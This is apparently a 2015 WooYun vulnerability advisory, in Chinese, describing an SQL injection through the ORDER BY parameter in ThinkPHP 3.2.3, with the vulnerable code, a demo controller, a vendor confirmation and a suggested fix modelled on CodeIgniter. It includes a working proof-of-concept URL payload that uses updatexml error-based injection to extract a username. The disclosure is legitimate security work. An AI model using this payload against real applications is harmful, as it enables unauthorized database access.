当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150649

漏洞标题:ThinkPHP框架特性引发的SQL注入漏洞

相关厂商:ThinkPHP

漏洞作者: xiao.k

提交时间:2015-11-04 11:14

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等

详细说明:

关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。

/**
* order分析
* @access protected
* @param mixed $order
* @return string
*/
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}


当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。
当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。
此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737
在此附上一个常见的demo

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$data = array();
$data['username'] = array('eq','admin');
$order = I('get.order');
$m = M('user')->where($data)->order($order)->find();
echo M('user')->getLastSql();
}
}


通过I函数获取内容以后,直接进入SQL。

**.**.**.**/official/thinkphp_3.2.3_full/?order=updatexml%281,concat%280x3a,%28select%20username%20from%20user%20limit%201%29%29,1%29


order 注入.JPG


之前看了一下ThinkPHP的审核情况,某些问题被官方认为是开发不规范导致的。我个人看法是在安全性的前提下,尽量提高程序的灵活性。毕竟大家使用ThinkPHP框架的目的是为了敏捷开发,同时还能减少安全性等问题带来的顾虑。之前听前辈们说过一句话,“一切输入都是有害的”。以此为标准,那么即使向框架内的基础函数输入恶意数据,程序也应该保证能进行识别和过滤。很多框架实际上也是这么做的。

漏洞证明:

order 注入.JPG

修复方案:

这里是CI的order_by函数,这里面做了比较强的限制。稍微牺牲了一些灵活性,但是极大的提高了安全性。可以作为一个参考。

// --------------------------------------------------------------------
/**
* ORDER BY
*
* @param string $orderby
* @param string $direction ASC, DESC or RANDOM
* @param bool $escape
* @return CI_DB_query_builder
*/
public function order_by($orderby, $direction = '', $escape = NULL)
{
$direction = strtoupper(trim($direction));
if ($direction === 'RANDOM')
{
$direction = '';
// Do we have a seed value?
$orderby = ctype_digit((string) $orderby)
? sprintf($this->_random_keyword[1], $orderby)
: $this->_random_keyword[0];
}
elseif (empty($orderby))
{
return $this;
}
elseif ($direction !== '')
{
$direction = in_array($direction, array('ASC', 'DESC'), TRUE) ? ' '.$direction : '';
}
is_bool($escape) OR $escape = $this->_protect_identifiers;
if ($escape === FALSE)
{
$qb_orderby[] = array('field' => $orderby, 'direction' => $direction, 'escape' => FALSE);
}
else
{
$qb_orderby = array();
foreach (explode(',', $orderby) as $field)
{
$qb_orderby[] = ($direction === '' && preg_match('/\s+(ASC|DESC)$/i', rtrim($field), $match, PREG_OFFSET_CAPTURE))
? array('field' => ltrim(substr($field, 0, $match[0][1])), 'direction' => ' '.$match[1][0], 'escape' => TRUE)
: array('field' => trim($field), 'direction' => $direction, 'escape' => TRUE);
}
}
$this->qb_orderby = array_merge($this->qb_orderby, $qb_orderby);
if ($this->qb_caching === TRUE)
{
$this->qb_cache_orderby = array_merge($this->qb_cache_orderby, $qb_orderby);
$this->qb_cache_exists[] = 'orderby';
}
return $this;
}

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 18:26

厂商回复:

感谢反馈~该处确实存在隐患问题

最新状态:

暂无